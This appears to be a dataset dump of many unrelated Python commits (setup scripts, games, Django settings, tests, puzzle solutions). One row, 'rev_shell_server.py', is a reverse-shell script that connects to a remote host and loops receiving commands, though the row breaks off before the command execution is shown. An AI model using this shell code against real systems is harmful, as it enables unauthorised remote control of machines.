commit stringlengths 40 40 | subject stringlengths 1 1.49k | old_file stringlengths 4 311 | new_file stringlengths 4 311 | new_contents stringlengths 1 29.8k | old_contents stringlengths 0 9.9k | lang stringclasses 3
values | proba float64 0 1 |
|---|---|---|---|---|---|---|---|
4364b952701b6ce3883094676ea9d8d93757cbde | Add bare setup.py | setup.py | setup.py | import os
from setuptools import setup, find_packages
setup(
name='django-sneak-peek',
version='0.0.1',
description='',
long_description='',
url='',
license='MIT',
author='Teddy Wing',
author_email='',
include_package_data=True,
packages=find_packages(),
classifiers=[],
) | Python | 0 | |
14aa0c03673abea5cbd954aafb909b581c8ce849 | Add setup.py | setup.py | setup.py | #!/usr/bin/env python
from setuptools import setup
setup(
name = "blynk-library-python",
version = "0.1.0", #blynk.lib.__version__
description = "Blynk library",
platforms = "any",
url = "http://www.blynk.cc",
license = "MIT",
author = "Volodymyr Shyman... | Python | 0.000001 | |
1b96dbf3882301dbfa8d8d102f1cead2e2b0447d | bump version | setup.py | setup.py | # Copyright 2014-2015 ARM Limited
#
# Licensed under the Apache License, Version 2.0
# See LICENSE file for details.
import os
from setuptools import setup, find_packages
# Utility function to cat in a file (used for the README)
def read(fname):
return open(os.path.join(os.path.dirname(__file__), fname)).read()
... | # Copyright 2014-2015 ARM Limited
#
# Licensed under the Apache License, Version 2.0
# See LICENSE file for details.
import os
from setuptools import setup, find_packages
# Utility function to cat in a file (used for the README)
def read(fname):
return open(os.path.join(os.path.dirname(__file__), fname)).read()
... | Python | 0 |
6e601d9720139bbb04c1fd30dc6552730270ba0a | Fix the versioned Django, we're grabbing 1.4.1 off the requirements.txt | setup.py | setup.py | #!/usr/bin/env python
from setuptools import setup, find_packages
from billy import __version__
long_description = open('README.rst').read()
setup(name='billy',
version=__version__,
packages=find_packages(),
package_data={'billy': ['schemas/*.json',
'schemas/api/*.json'... | #!/usr/bin/env python
from setuptools import setup, find_packages
from billy import __version__
long_description = open('README.rst').read()
setup(name='billy',
version=__version__,
packages=find_packages(),
package_data={'billy': ['schemas/*.json',
'schemas/api/*.json'... | Python | 0.000002 |
1eb31a433da1c684e7cace4d01705778b3a34b67 | Update setup.py | setup.py | setup.py | #!/usr/bin/env python
from __future__ import (absolute_import, division, print_function)
import sys
import warnings
import numpy as np
try:
from setuptools import setup
except ImportError:
try:
from setuptools.core import setup
except ImportError:
from distutils.core import setup
from di... | #!/usr/bin/env python
from __future__ import (absolute_import, division, print_function)
import sys
import warnings
import numpy as np
try:
from setuptools import setup
except ImportError:
try:
from setuptools.core import setup
except ImportError:
from distutils.core import setup
from di... | Python | 0 |
e38e0789f65e174770aeca44abec9e3e47503cbb | include user-extensions.js containing flex methods into installation | setup.py | setup.py | #!/usr/bin/env python
from distutils.core import setup
from os.path import abspath, dirname, join
execfile(join(dirname(abspath(__file__)), 'src', 'SeleniumLibrary', 'version.py'))
setup(name = 'robotframework-seleniumlibrary',
version = VERSION,
description = 'Web testing library for Robot... | #!/usr/bin/env python
from distutils.core import setup
from os.path import abspath, dirname, join
execfile(join(dirname(abspath(__file__)), 'src', 'SeleniumLibrary', 'version.py'))
setup(name = 'robotframework-seleniumlibrary',
version = VERSION,
description = 'Web testing library for Robot... | Python | 0 |
cd9aea1addd55be7c9d8adfb91137d9581af9317 | Add minimum setup.py | setup.py | setup.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
setup(
name='expertsender',
version='0.1.0',
description='Python API library for the ExpertSender email platform',
author='Gilang Chandrasa',
author_email=... | Python | 0.000001 | |
fb4034da63c69e653441417e6037fe72127f0a8a | Create step1.py | step1.py | step1.py | from Tkinter import *
import time
import sqlite3 as lite
import random
root=Tk()
a4=[]
m1=0
m2=0
m3=0
a5=[]
a6=''
from tkMessageBox import *
def check1():
h=en.get()
if(h==a6):
t2=time.time()
t3=t2-t1
print "t3 is: ",t3
cur.execute("insert into pro_crypto values(?,?,?,?)",(m1,m2,... | Python | 0.000014 | |
dd37a333a84fb6c636a26a3d96d56925c0ec06a8 | Create cleaner.py | Meteo/meteociel/cleaner.py | Meteo/meteociel/cleaner.py | #!/usr/bin/python
# -*- coding: UTF-8 -*-
def cleaner(source):
"Clean all source code to make something sweet or at least, trying to"
# Brute encode to utf-8 because source code looks like a mix between iso-8859-1 and something else (kind of a joke isn't it ?)
# It seems to be ok but at html.fromString(tr... | Python | 0.000001 | |
3dc5b026433795946eba623aa04d2c3c88a99281 | Move the credit card test mode checking so that credit card type can be assigned | billing/gateway.py | billing/gateway.py | from django.utils.importlib import import_module
from django.conf import settings
class GatewayModuleNotFound(Exception):
pass
class GatewayNotConfigured(Exception):
pass
class CardNotSupported(Exception):
pass
class Gateway(object):
"""Sub-classes to inherit from this and implement the below method... | from django.utils.importlib import import_module
from django.conf import settings
class GatewayModuleNotFound(Exception):
pass
class GatewayNotConfigured(Exception):
pass
class CardNotSupported(Exception):
pass
class Gateway(object):
"""Sub-classes to inherit from this and implement the below method... | Python | 0.000001 |
c18f49ad5c458f1df16cde5b41dee6c465416bd2 | Add settings.py to the repo. | django/wwwhisper_service/settings.py | django/wwwhisper_service/settings.py | # Django settings for wwwhisper_service project.
from custom_settings import *
DEBUG = True
TEMPLATE_DEBUG = DEBUG
ADMINS = (
# ('Your Name', 'your_email@example.com'),
)
MANAGERS = ADMINS
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': 'wwwhisper_db',
}
}
# L... | Python | 0 | |
7736c11b005f9baefc7ba9c35884deddc56bc191 | Test file to check if twistd is working | test.tac | test.tac | from twisted.application import internet, service
from hubbebot import *
application = service.Application("AllTheHubbeBots")
internet.TCPClient("irc.desertbus.org", 6667, HubbeBotFactory()).setServiceParent(application)
| Python | 0 | |
24e914da9e0e38728d862ecc82f8443a3b88e68f | add expression to improve the domain | bin/tools/expression.py | bin/tools/expression.py | #!/usr/bin/env python
def _is_operator( element ):
return isinstance( element, str ) and element in ['&','|']
def _is_leaf( element ):
return isinstance( element, tuple ) and len( element ) == 3 and element[1] in ['=', '<>', '!=', '<=', '<', '>', '>=', 'like', 'not like', 'ilike', 'not ilike']
def _is_expre... | Python | 0.00123 | |
8a86c1c9bec625b58c2dc4914837b2e3a0ef175c | Add FDIC | inspectors/fdic.py | inspectors/fdic.py | #!/usr/bin/env python
import datetime
import logging
import os
from urllib.parse import urljoin
from bs4 import BeautifulSoup
from utils import utils, inspector
# http://www.fdicoig.gov
# Oldest report: 1998
# options:
# standard since/year options for a year range to fetch from.
#
# Notes for IG's web team:
#
R... | Python | 0.000149 | |
545ce0a57b92aaaa26e6f960990648dd05b637af | Add a new task for batch generation and loading. | cumulusci/tasks/bulkdata/generate_and_load_data.py | cumulusci/tasks/bulkdata/generate_and_load_data.py | import os
from cumulusci.tasks.salesforce import BaseSalesforceApiTask
from cumulusci.tasks.bulkdata import LoadData
from cumulusci.utils import temporary_dir
from cumulusci.core.config import TaskConfig
from cumulusci.core.utils import import_global
from cumulusci.core.exceptions import TaskOptionsError
class Genera... | Python | 0 | |
741dbde964769b0093208ce5ba059eb1e1c974bf | clean up | plots/PMPdriver_plot.py | plots/PMPdriver_plot.py | # -*- coding:UTF-8 -*-
# ---------------------------------------------------#
# Aim of the program:
# Create plots for ENSO_metrics
# ---------------------------------------------------#
# ---------------------------------------------------#
# Import the right packages
# -----------------------------------------... | Python | 0.000001 | |
cec3eebace1ad5f236761bdd98bef0d5ac52d3ba | Replace list-to-set cast with normal set literal | cura/Settings/MaterialSettingsVisibilityHandler.py | cura/Settings/MaterialSettingsVisibilityHandler.py | # Copyright (c) 2017 Ultimaker B.V.
# Uranium is released under the terms of the AGPLv3 or higher.
from UM.Settings.Models.SettingVisibilityHandler import SettingVisibilityHandler
class MaterialSettingsVisibilityHandler(SettingVisibilityHandler):
def __init__(self, parent = None, *args, **kwargs):
super()... | # Copyright (c) 2016 Ultimaker B.V.
# Uranium is released under the terms of the AGPLv3 or higher.
from UM.Settings.Models.SettingVisibilityHandler import SettingVisibilityHandler
class MaterialSettingsVisibilityHandler(SettingVisibilityHandler):
def __init__(self, parent = None, *args, **kwargs):
super()... | Python | 0 |
8094267faf7a9cdbd1520383f51e537e159cdca2 | Add unit column unit tests. | tests.py | tests.py | # -*- coding: utf-8 -*-
""" Test relation columns.
"""
import math
import uuid
from unittest import TestCase
import arrow
from cqlengine import columns
from cqlengine.models import Model
def truncate_to_milliseconds(date_time):
""" Truncate datetime to milliseconds and return an arrow object.
Used to emula... | Python | 0 | |
71f073ca40459c56ce666650af982a9f08d613f1 | Add support for PodDisruptionBudget | k8s/models/pod_disruption_budget.py | k8s/models/pod_disruption_budget.py | #!/usr/bin/env python
# -*- coding: utf-8
from __future__ import absolute_import
import six
from .common import ObjectMeta
from ..base import Model
from ..fields import Field, ListField
class PodDisruptionBudgetMatchExpressions(Model):
key = Field(six.text_type)
operator = Field(six.text_type)
values = ... | Python | 0 | |
4c46b7b86171b89f0c85f6d48eaf6d24e702c6f9 | Add a Tasks sample that demonstrates Service accounts. | samples/service_account/tasks.py | samples/service_account/tasks.py | #!/usr/bin/python2.4
# -*- coding: utf-8 -*-
#
# Copyright (C) 2012 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... | Python | 0.011664 | |
b541d4c9ab1d7f199cc551179f454c5c3a53625f | add tests for "patch" command | rhcephpkg/tests/test_patch.py | rhcephpkg/tests/test_patch.py | import os
import pytest
from rhcephpkg import Patch
TESTS_DIR = os.path.dirname(os.path.abspath(__file__))
FIXTURES_DIR = os.path.join(TESTS_DIR, 'fixtures')
class FakePatch(object):
pass
class TestPatch(object):
def test_wrong_branch(self, monkeypatch):
monkeypatch.setenv('HOME', FIXTURES_DIR)
... | Python | 0.000007 | |
ed27c75a2d3400955d8e3e85d08d480db3fd3657 | Add generate_vocab script | seq2seq/scripts/generate_vocab.py | seq2seq/scripts/generate_vocab.py | #! /usr/bin/env python
#pylint: disable=invalid-name
"""
Generate vocabulary for a tokenized text file.
"""
import argparse
import collections
parser = argparse.ArgumentParser(description="Generate vocabulary for a tokenized text file.")
parser.add_argument("--input_file", type=str, help="path to the input file", re... | Python | 0.000001 | |
21eac65d8a252e9d3cc83d97a9f270ef0078be9c | add indexer | indexer.py | indexer.py | # -*- coding: utf-8 -*-
import json
import os
import argparse
import sys
import re
class Indexer:
def __init__(self):
self.forward_index = dict()
def create_index(self, raw_data, keyword):
keyword_utf8 = keyword.decode('utf-8')
if not self.forward_index.has_key(keyword_utf8):
... | Python | 0.000002 | |
37e87ad6eed85e83a2199f851e8b07135d779909 | Add wsgi script | DiscourseSSO.wsgi | DiscourseSSO.wsgi | # Copyright 2015 INFN
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | Python | 0.000001 | |
261b2879c830aeaa21351c34a78dc0b5262436c2 | Create 7kyu_simple_fun138_similarity.py | Solutions/7kyu/7kyu_simple_fun138_similarity.py | Solutions/7kyu/7kyu_simple_fun138_similarity.py | def similarity(a, b):
return len(set(a).intersection(set(b)))/len(set(a)|set(b))
| Python | 0.998424 | |
c5427bc00678e9f9122b8201b79af2ab454288f3 | Create popServer.py | popServer.py | popServer.py | __author__ = 'JontyHome'
import poplib
class popServer():
# host = ''
# username = ''
# password = ''
# port = 0
def __init__(self, username, password, host, port):
self.host = host
self.username = username
self.password = password
self.port = port
self.ma... | Python | 0.000001 | |
eaf59371ea4ec9d5ceb98331c1a4b58a54558d3b | Solve Ch3_Q5 - Implement queue using two stacks | fourth_edition/ch3_stacks_and_queues/python/3.5.py | fourth_edition/ch3_stacks_and_queues/python/3.5.py | '''
Implement a MyQueue class which implements a queue using two stacks.
'''
stack1 = list()
stack2 = list()
max_ = 10
def push(val):
global stack1, stack2
if len(stack1) == max_:
if len(stack2) == 0:
for x in stack1[::-1]:
stack2.append(x)
stack1 = []
... | Python | 0.000039 | |
73b6be31b8ddbdb8e266f63c4e9df0fc1d8403e2 | Set CpuAcctCgroupCollector disabled by default | src/collectors/cpuacct_cgroup/cpuacct_cgroup.py | src/collectors/cpuacct_cgroup/cpuacct_cgroup.py | # coding=utf-8
"""
The CpuAcctCGroupCollector collects CPU Acct metric for cgroups
#### Dependencies
/sys/fs/cgroup/cpuacct/cpuacct.stat
"""
import diamond.collector
import os
class CpuAcctCgroupCollector(diamond.collector.Collector):
CPUACCT_PATH = '/sys/fs/cgroup/cpuacct/'
def get_default_config_help(s... | # coding=utf-8
"""
The CpuAcctCGroupCollector collects CPU Acct metric for cgroups
#### Dependencies
/sys/fs/cgroup/cpuacct/cpuacct.stat
"""
import diamond.collector
import os
class CpuAcctCgroupCollector(diamond.collector.Collector):
CPUACCT_PATH = '/sys/fs/cgroup/cpuacct/'
def get_default_config_help(s... | Python | 0 |
7d66a720acb756291adc99ebe444c2c00bd37d84 | Remove Ignite Dataset SSL tests by internal policy. | tensorflow/contrib/ignite/python/tests/ignite_dataset_test.py | tensorflow/contrib/ignite/python/tests/ignite_dataset_test.py | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use this file except in compliance with the License. You may obtain a copy of
# the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use this file except in compliance with the License. You may obtain a copy of
# the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... | Python | 0 |
39668777b1f5579b37746521ba95b506bea08d1a | Prepare v1.2.295.dev | flexget/_version.py | flexget/_version.py | """
Current FlexGet version.
This is contained in a separate file so that it can be easily read by setup.py, and easily edited and committed by
release scripts in continuous integration. Should (almost) never be set manually.
The version should always be set to the <next release version>.dev
The jenkins release job wi... | """
Current FlexGet version.
This is contained in a separate file so that it can be easily read by setup.py, and easily edited and committed by
release scripts in continuous integration. Should (almost) never be set manually.
The version should always be set to the <next release version>.dev
The jenkins release job wi... | Python | 0.000001 |
f3bbb887d76ec428c4926f94c119220cc8c63cf8 | add offline script to ingest IDOT archived road conditions | scripts/roads/idot_csv_ingest.py | scripts/roads/idot_csv_ingest.py | """Be able to merge a CSV file that IDOT provides"""
import pandas as pd
import psycopg2
import sys
import datetime
pgconn = psycopg2.connect(database='postgis', host='localhost', user='mesonet',
port=5555)
cursor = pgconn.cursor()
xref = {}
cursor.execute("""SELECT idot_id, segid from roads_... | Python | 0 | |
8c17c087ee1674bccfd8d34d382eca508fdf7cd9 | Create train.py | train.py | train.py | import time
import calendar
class Train:
"""Creates a train object that represents one subway train we have data for. The methods
contained in this class interpret information we get from the MTA's feed, such as route number,
direction, arrival time, and upcoming stops.
"""
def __init__(self, trip... | Python | 0.000001 | |
c2d1344c518dcf7c4cd20786bfa7cf649b977ca5 | Create new package (#7378) | var/spack/repos/builtin/packages/perl-file-slurper/package.py | var/spack/repos/builtin/packages/perl-file-slurper/package.py | ##############################################################################
# Copyright (c) 2013-2017, Lawrence Livermore National Security, LLC.
# Produced at the Lawrence Livermore National Laboratory.
#
# This file is part of Spack.
# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved.
# LLNL-CODE-64... | Python | 0 | |
766eff22b8632ae8548fe30e5b44bc8ca5de29b5 | Create near_ten.py | Python/CodingBat/near_ten.py | Python/CodingBat/near_ten.py | # http://codingbat.com/prob/p165321
def near_ten(num):
return (num % 10 <= 2) or (num % 10 >= 8)
| Python | 0.000004 | |
e143ef5663f1fed402c9c941bd8b18adbf72c02b | add calebasse.url_utils module | calebasse/urls_utils.py | calebasse/urls_utils.py | from django.core.urlresolvers import RegexURLPattern, RegexURLResolver
class DecoratedURLPattern(RegexURLPattern):
def resolve(self, *args, **kwargs):
result = super(DecoratedURLPattern, self).resolve(*args, **kwargs)
if result:
result.func = self._decorate_with(result.func)
ret... | Python | 0.000001 | |
be0e28cfc4628491ba6a2c176cb5458279b94f8d | Create simple_fun_#270_evil_code_medal.py | simple_fun_#270_evil_code_medal.py | simple_fun_#270_evil_code_medal.py | #Kunal Gautam
#Codewars : @Kunalpod
#Problem name: Simple Fun #270: Evil Code Medal
#Problem level: 7 kyu
def get_sec(time):
return time[0]*3600 + time[1]*60 + time[2]
def evil_code_medal(user_time, gold, silver, bronze):
user_time = get_sec(user_time.split(':'))
gold = get_sec(gold.split(':'))
silver... | Python | 0.998977 | |
48d0578f32505702d63adc3c580749c4eb18326d | Create most_common_characters.py | most_common_characters.py | most_common_characters.py | import operator
def most_common_characters(input_string, N):
count = {}
for char in inputString:
if char in count:
count[char] += 1
else:
count[char] = 1
sorted_freq = sorted(count.iteritems(), key=operator.itemgetter(1), reverse=True)
for i in rang... | Python | 0.000177 | |
c06de87c53a8e42660b885de9d14796cc928c687 | add pwgen | pwgen.py | pwgen.py | for a in range(10):
for b in range(10):
for c in range(10):
for d in range(10):
for e in range(10):
for f in range(10):
for g in range(10):
for h in range(10):
print("{}{}{}{}{... | Python | 0.000001 | |
43429ce9c2c21bc919baed5a831402e5c100e0f9 | Fix bug related to last update | classes/headers.py | classes/headers.py |
class ExtractHeaders(object):
def __init__(self, cache, results, log=None):
self.cache = cache
self.results = results
self.log = log
self.headers = set()
self.category = "Platform"
def _split_server_line(self, line):
if "(" in line:
os = line[line.find('(')+1:line.find(')')]
sh = line[:line.find(... |
class ExtractHeaders(object):
def __init__(self, cache, results, log=None):
self.cache = cache
self.results = results
self.log = log
self.headers = set()
self.category = "Platform"
def _split_server_line(self, line):
if "(" in line:
os = line[line.find('(')+1:line.find(')')]
sh = line[:line.find(... | Python | 0 |
e47094d2b499ee2667384328194cd8f35ce17022 | Add a forgotten file | sinus_subpixel/sinus_subpixel.py | sinus_subpixel/sinus_subpixel.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pygame
from pygame.locals import *
from subpixel_surface import *
from math import sin, cos
DOTS = 100
def main():
pygame.init()
screen = pygame.display.set_mode((640, 480))
clock = pygame.time.Clock()
dot = pygame.image.load("dot.png")
dot_... | Python | 0.000004 | |
a3d7561c3c8930a55f7496c817876e4cf6b187bd | Add migration I forgot | dataactcore/migrations/versions/cd1025ac9399_add_columns_to_AwardProcurement.py | dataactcore/migrations/versions/cd1025ac9399_add_columns_to_AwardProcurement.py | """add columns to AwardProcurement
Revision ID: cd1025ac9399
Revises: a767facf8ea8
Create Date: 2017-09-18 15:05:52.772251
"""
# revision identifiers, used by Alembic.
revision = 'cd1025ac9399'
down_revision = 'a767facf8ea8'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def u... | Python | 0.000001 | |
51cf34acc3566804948804f835961b2b281dfbd1 | add 07geometry_shader_blending | OpenGL-Examples/07geometry_shader_blending.py | OpenGL-Examples/07geometry_shader_blending.py | # -*- coding: utf-8 -*-
# OpenGL example code - Geometry Shader and Blending
# Uses a geometry shader to expand points to billboard quads.
# The billboards are then blended while drawing to create a galaxy
# made of particles.
import ctypes
import numpy as np
from OpenGL.GL import *
from OpenGL.GL import shaders
fr... | Python | 0.000001 | |
18f162d0260d3bb1de0d95105badb7b3d8ac577b | lucky_numbers solved | algorithms/dynamic_programming/lucky_numbers.py | algorithms/dynamic_programming/lucky_numbers.py | '''
Created on Jul 21, 2013
@author: nirvam
A number is called lucky if the sum of its digits, as well as the sum of the squares of its digits is a prime number. How many numbers between A and B are lucky?
Input:
The first line contains the number of test cases T. Each of the next T lines contains two integers, A a... | Python | 0.999481 | |
1728765f6a1858086030abb6a96c47bc8c336e6e | Add natural optimizer. | gpflow/training/natgrad_optimizer.py | gpflow/training/natgrad_optimizer.py | import tensorflow as tf
from . import optimizer
class NatGradOptimizer(optimizer.Optimizer):
"""
"""
def __init__(self, gamma):
self._gamma = gamma
@property
def gamma(self):
"""
"""
return self.gamma
def minimize(self, model, session=None, var_list=None... | Python | 0.000003 | |
36e730ea3d984b8da8081397d4ac0c4dd3bb82f2 | add mongoDB cache demo. | PersistenceSpider/demo_mongodb_persistence.py | PersistenceSpider/demo_mongodb_persistence.py | import pymongo
'''
Python3 MongoDB数据库持久化演示
'''
class MongoDBPersistence(object):
def __init__(self):
self.conn = None
self.database = None
def connect(self, database):
try:
self.conn = pymongo.MongoClient('mongodb://localhost:27017/')
self.database = self.conn[... | Python | 0 | |
930630e886d8666844639e7cf9d273bd8e4c2115 | Create rev_shell_server.py | Server/rev_shell_server.py | Server/rev_shell_server.py | #!/usr/bin/python
import socket
import subprocess
import sys
def main():
try:
RHOST = sys.argv[1]
RPORT = 9000
except:
print ("Must provide hotst")
sys.exit()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
while True:
#recie... | Python | 0.000003 | |
921e4fe305e7d39347635c99fd4f9cc84ed7e534 | Add ImageTextAnnotation migration | app/grandchallenge/annotations/migrations/0005_imagetextannotation.py | app/grandchallenge/annotations/migrations/0005_imagetextannotation.py | # Generated by Django 2.2.2 on 2019-07-11 10:35
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
import uuid
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_M... | Python | 0 | |
9a567d283cc2e72e3590305f81b3879d7f2557fa | include json_io.py from another older project. | json_io.py | json_io.py |
from __future__ import division, print_function, unicode_literals
import numpy as np
import simplejson as json
#
# Helpers.
#
MARKER = ':ndar!'
class NumpyJSONEncoder(json.JSONEncoder):
def default(self, obj):
if isinstance(obj, np.ndarray):
name = '%s.%s' % (MARKER, obj.dtype.name)
... | Python | 0 | |
55cc66bc6d1c2c6280bb959bea23e14b4f26c741 | Add Two Numbers problem | add_two_numbers.py | add_two_numbers.py | '''
You are given two linked lists representing two non-negative numbers. The digits are stored in reverse order and each of their nodes contain a single digit. Add the two numbers and return it as a linked list.
Input: (2 -> 4 -> 3) + (5 -> 6 -> 4)
Output: 7 -> 0 -> 8
'''
'''
The main idea is quite simple, but need ... | Python | 0.999442 | |
a3f23b804265bd59473873c2aa071188a73a9a9e | Test fail cases for custom codegen | slumba/tests/test_numbaext.py | slumba/tests/test_numbaext.py | import pytest
from numba import boolean, njit, int64, TypingError
from slumba.numbaext import not_null, sizeof, unsafe_cast
def test_sizeof_invalid():
dec = njit(int64(int64))
with pytest.raises(TypingError):
@dec
def bad_sizeof(x):
return sizeof(x)
def test_not_null_invalid():... | Python | 0 | |
a1ae01bada1d500bd7f9f7f0f2deb458bfa6d2d1 | Add the serial python test | bin/serial_test.py | bin/serial_test.py | #!/usr/bin/env python
from serial import Serial
from time import sleep
ser = Serial('/dev/ttyUSB0', 9600)
sleep(3) # wait for the board to reset
print "start"
print "write"
ser.write("hello\n")
print "read"
line = ser.readline()
print "GOT %s"%line
print "write world..."
ser.write("world\n")
print "read"
line = ser... | Python | 0.000097 | |
804b7aa609ce1fde97f81f839776501352a59a89 | Create card-flipping-game.py | Python/card-flipping-game.py | Python/card-flipping-game.py | # Time: O(n)
# Space: O(n)
# On a table are N cards, with a positive integer printed on the front
# and back of each card (possibly different).
#
# We flip any number of cards, and after we choose one card.
#
# If the number X on the back of the chosen card is not on the front of
# any card, then this number X is goo... | Python | 0.000001 | |
a0bbb3b7befbac0ca13a9fc34df63a409cbe930c | Create plot_WRFtimeseries.py | Python/plot_WRFtimeseries.py | Python/plot_WRFtimeseries.py | #plot_WRFtimeseries.py
"""plot time series of WRF output;
NOTE: we assume variables to have dimension [time,y,x] or [time,z,y,x]
If this is not the case, adapt the dimensions where variable is read
Author: Ingrid Super
Last revisions: 2-6-2016"""
import netCDF4 as nc
import numpy as np
import matplotlib.py... | Python | 0.000003 | |
4db53b62f616edb61ce469ffb2f4cd642f925784 | Add patch migration for missing constraints (#6276) | warehouse/migrations/versions/48def930fcfd_webauthn_and_macaroon_constraints.py | warehouse/migrations/versions/48def930fcfd_webauthn_and_macaroon_constraints.py | # Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the Li... | Python | 0 | |
2c6141656e0a0885dbcfecad5f227a950dafc3c3 | Create predict-the-winner.py | Python/predict-the-winner.py | Python/predict-the-winner.py | # Time: O(n^2)
# Space: O(n)
# Given an array of scores that are non-negative integers.
# Player 1 picks one of the numbers from either end of the array
# followed by the player 2 and then player 1 and so on.
# Each time a player picks a number, that number will not be available for the next player.
# This continues ... | Python | 0.000403 | |
5de560e8458375a2e03200128ff046927cb3dbb5 | Add first solution to LCq003 | leetcode/q003/solution.py | leetcode/q003/solution.py |
MAX_SUBSTRING_LENGTH = 26
class Solution:
def lengthOfLongestSubstring(self, s: str) -> int:
"""
for a given string, at each starting position within the string,
check how far you can go without repeating a character
"""
max_length = 0
total_length = l... | Python | 0 | |
cfcc39c297f84702ba3eb3f3a61d5aecf26c02b4 | Create part17.py | part17.py | part17.py | import pygame
import time
import random
pygame.init()
display_width = 800
display_height = 600
black = (0,0,0)
white = (255,255,255)
red = (200,0,0)
green = (0,200,0)
bright_red = (255,0,0)
bright_green = (0,255,0)
block_color = (53,115,255)
car_width = 73
gameDisplay = pygame.display.set_mode((display_wi... | Python | 0 | |
42ca9ddc91a213816183f20a985d5273de6a4312 | compute bits set to 1 | bits_set_to_one.py | bits_set_to_one.py | def one_bits(x):
"""Given an integer, compute the number of bits set to 1"""
m = 1
count = 0
for i in range(x // 2 + 1):
if x & m == m:
count += 1
m = m << 1
return count
| Python | 0.999999 | |
a53d19fccc8656f5190385e028261e4bcff84531 | add rottest.py | py/tests/rottest.py | py/tests/rottest.py | #!/usr/bin/python3
import pykms
from enum import Enum
import termios, sys, os, tty
card = pykms.OmapCard()
res = pykms.ResourceManager(card)
conn = res.reserve_connector()
crtc = res.reserve_crtc(conn)
mode = conn.get_default_mode()
modeb = mode.to_blob(card)
rootplane = res.reserve_primary_plane(crtc, pykms.PixelF... | Python | 0 | |
c80f789da36ad0c23a6cbbf20fd97808d62c3619 | Create a simple Spinner. | py_clui/__init__.py | py_clui/__init__.py | #!/usr/bin/env python
# https://en.wikipedia.org/wiki/ANSI_escape_code#Colors
# http://aurelio.net/shell/canivete/
# https://stackoverflow.com/questions/27265322/how-to-print-to-console-in-color
import sys
import time
#def colored(text, color):
# return COLORS[color] + text + COLORS['white']
#def Gauge(value, ma... | Python | 0 | |
1f043dd959fa1e1d243a3278abeb66838a2f9305 | Remove the IR target type in migration. | server/auvsi_suas/migrations/0013_remove_ir_as_target_type.py | server/auvsi_suas/migrations/0013_remove_ir_as_target_type.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [('auvsi_suas', '0012_missionclockevent'), ]
operations = [
migrations.AlterField(
model_name='target',
name='target... | Python | 0 | |
2f2e85a7f1df46c6f33969a9dd4a945c8dfa33dc | Add Cython-generated C code validator | powertrip.py | powertrip.py | #!/usr/bin/env python
# ----------------------------------------------------------------------------
# Copyright (c) 2013--, scikit-bio development team.
#
# Distributed under the terms of the Modified BSD License.
#
# The full license is in the file COPYING.txt, distributed with this software.
# ---------------------... | #!/usr/bin/env python
# ----------------------------------------------------------------------------
# Copyright (c) 2013--, scikit-bio development team.
#
# Distributed under the terms of the Modified BSD License.
#
# The full license is in the file COPYING.txt, distributed with this software.
# ---------------------... | Python | 0.000009 |
e869920c2334e4d0bcd95d2805c8126952c97b51 | Add tests for `cms.debug`. | cms/tests/test_debug.py | cms/tests/test_debug.py | from django.test import TestCase
from ..debug import print_exc, print_current_exc
import os
from StringIO import StringIO
import sys
class TestDebug(TestCase):
def test_print_exc(self):
def func():
return True
def func_raise():
raise Exception
self.assertEqual(... | Python | 0 | |
f584c26b05ce47f993f02801256370d6dde475ac | create the Spider for Switzerland of McDonalds | locations/spiders/mcdonalds_ch.py | locations/spiders/mcdonalds_ch.py | # -*- coding: utf-8 -*-
import scrapy
import re
import json
import datetime
from locations.items import GeojsonPointItem
class McDonalsCHSpider(scrapy.Spider):
name = "mcdonalds_ch"
allowed_domains = ["www.mcdonalds.ch"]
start_urls = (
'https://www.mcdonalds.ch/api/v1/restaurants/?lon=7.458354699... | Python | 0 | |
f301dd2366f53a6cf4b0949942b8520502f54351 | Fix import error when [jwt] not installed. | boxsdk/__init__.py | boxsdk/__init__.py | # coding: utf-8
from __future__ import unicode_literals
try:
from .auth.jwt_auth import JWTAuth
except ImportError:
JWTAuth = None # If extras are not installed, JWTAuth won't be available.
from .auth.oauth2 import OAuth2
from .client import Client
from .object import * # pylint:disable=wildcard-import,rede... | # coding: utf-8
from __future__ import unicode_literals
from .auth.jwt_auth import JWTAuth
from .auth.oauth2 import OAuth2
from .client import Client
from .object import * # pylint:disable=wildcard-import,redefined-builtin
| Python | 0 |
334961054d875641d150eec4d6938f6f824ea655 | Add initializer for top-level '_gcloud_vendor' package. | _gcloud_vendor/__init__.py | _gcloud_vendor/__init__.py | """Dependencies "vendored in", due to dependencies, Python versions, etc.
Current set
-----------
``apitools`` (pending release to PyPI, plus acceptable Python version
support for its dependencies). Review before M2.
"""
| Python | 0 | |
00e86dcc5633a4e381ec67bb4fd719b37633e9c4 | solved with generators | problem_5.py | problem_5.py | def test_get_smallest_evenly_divisible_by():
assert get_smallest_evenly_divisible_by(1, 10) == 2520
def is_evenly_divisible(value, low, high):
high += 1
for i in range(low, high):
if value % i != 0:
return False
return True
def infite_seq():
i = 1
while True:
